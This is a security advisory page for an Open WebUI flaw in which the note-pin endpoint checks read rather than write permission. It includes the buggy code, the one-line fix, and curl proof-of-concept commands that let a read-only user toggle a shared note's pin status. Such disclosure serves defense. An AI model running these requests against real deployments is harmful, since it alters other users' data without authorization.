Skip to main content

Open WebUI CVE-2026-45316

LOW
Incorrect Authorization (CWE-863)
2026-05-14 https://github.com/open-webui/open-webui GHSA-jx2x-j75f-xq3j
3.5
CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY
3.5 LOW
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
May 14, 2026 - 21:19 vuln.today
Analysis Generated
May 14, 2026 - 21:19 vuln.today
CVE Published
May 14, 2026 - 20:18 nvd
LOW 3.5

DescriptionGitHub Advisory

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

python
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',
# BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)

    note = await Notes.toggle_note_pinned_by_id(id, db=db)
# write operation

Compare with update endpoint (correct, line 318-327):

python
async def update_note_by_id(...):
# ...
    and not await AccessGrants.has_access(
        permission='write',
# correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup:

  1. UserA creates a note
  2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

bash
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result:

  • Step 1: UserB reads note (READ) -> 200 OK ✓
  • Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
  • Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
  • Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix - change permission='read' to permission='write' in pin_note_by_id:

python
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

AnalysisAI

Open WebUI versions up to 0.9.2 allow users with read-only access to shared notes to toggle the pin status via the POST /api/v1/notes/{id}/pin endpoint, which incorrectly checks for read permission instead of write permission. This privilege escalation enables read-only users to perform a write operation (toggling is_pinned state) that should be restricted to users with explicit write access. The vulnerability is limited to the pin operation and does not permit modification of note content, title, or access grants. Publicly available proof-of-concept demonstrates the bypass across all shared notes with read access.

Technical ContextAI

Open WebUI is a Python-based web application framework with an access control system using an AccessGrants model that enforces permission checks (read vs. write) on shared resources. The vulnerability exists in the notes router backend at lines 412-444 of backend/open_webui/routers/notes.py, where the PIN endpoint uses AsyncHTTPException-based permission validation. Unlike the correctly implemented update and delete endpoints that check permission='write', the pin endpoint invokes AccessGrants.has_access() with permission='read', permitting the toggle operation despite the semantic requirement that state-modifying actions demand write authorization. The root cause is a permission string mismatch: the endpoint performs a write operation (Notes.toggle_note_pinned_by_id) but validates only read access, violating the principle of least privilege and failing to enforce role-based access control (RBAC) consistently across the API surface.

RemediationAI

Upgrade Open WebUI to version 0.9.3 or later immediately, as the vendor has released a patched version containing the one-line permission string correction (changing permission='read' to permission='write' in the pin_note_by_id endpoint). If upgrade is not immediately possible, a temporary compensating control is to disable note sharing entirely or restrict it to users trusted with write access, though this reduces functionality. The fix is a simple patch in backend/open_webui/routers/notes.py line 437, changing the permission parameter from 'read' to 'write' in the AccessGrants.has_access() call within the pin_note_by_id function, aligning the pin endpoint with update and delete endpoint permission logic. No workaround configuration option exists; patching is the only remediation.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-45316 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy